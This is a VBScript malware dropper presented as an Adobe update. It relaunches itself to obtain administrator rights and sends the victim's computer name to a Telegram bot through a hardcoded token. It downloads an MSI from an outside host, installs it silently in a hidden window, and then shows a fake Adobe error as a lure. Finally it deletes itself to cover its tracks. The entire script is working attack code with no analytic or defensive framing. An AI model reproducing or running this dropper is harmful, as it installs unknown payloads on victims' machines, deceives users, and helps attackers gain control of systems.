' DIG Modified Script for Auto-Elevation Attempt and Visual Lure

' =============================================================
' 1. SELF-ELEVATION CHECK (Attempting to trigger UAC prompt)
' =============================================================
' This check forces the script to request elevation if it is not already running as admin.
If Not WScript.Arguments.Named.Exists("elev") Then
    ' If not elevated, try to run itself with 'runas' verb.
    ' The prompt that appears is the user acknowledging the request.
    CreateObject("Shell.Application").ShellExecute WScript.FullName, Chr(34) & WScript.ScriptFullName & Chr(34) & " /elev", "", "runas", 1
    WScript.Quit ' Exit the original instance immediately after requesting elevation
End If

On Error Resume Next

' --- Telegram Notification Setup ---
botToken = "8844647853:AAFtBzUoVJGigl0VU5Lbwin_OQ2lM"
chatId = "645343443670"

Function NotifyTelegram(message)
    On Error Resume Next
    Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
    url = "https://api.telegram.org/bot" & botToken & "/sendMessage?chat_id=" & chatId & "&text=" & message
    http.Open "GET", url, False
    http.Send
    NotifyTelegram = (Err.Number = 0)
End Function

' Send start notification
computerName = CreateObject("WScript.Network").ComputerName
NotifyTelegram " Installation started on " & computerName & ". "

Set w = CreateObject("WScript.Shell")
p = w.ExpandEnvironmentStrings("%TEMP%\AdobeUpdate.msi")

' --- Download the MSI payload ---
Set h = CreateObject("WinHttp.WinHttpRequest.5.1")
h.Option(6) = True
h.Open "GET", "http://hurlizcloudservices.com/UpdatedInvoice.msi", 0
h.Send

Set s = CreateObject("ADODB.Stream")
s.Type = 1
s.Open
s.Write h.ResponseBody
s.SaveToFile p, 2
s.Close

WScript.Sleep 2000

' --- Silent installation ---
cmd = " /qn"
' 0 = hidden window, True = wait for completion
w.Run p & cmd, 0, True

' Notify completion
NotifyTelegram " MSI installation completed on " & computerName

' --- Final Visual Lure (Adobe‑themed error message) ---
MsgBox "Adobe Acrobat could not be updated at this time. Please try again later.", 16, "Adobe Acrobat Update Error"

' --- Cleanup – delete this VBScript ---
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptFullName)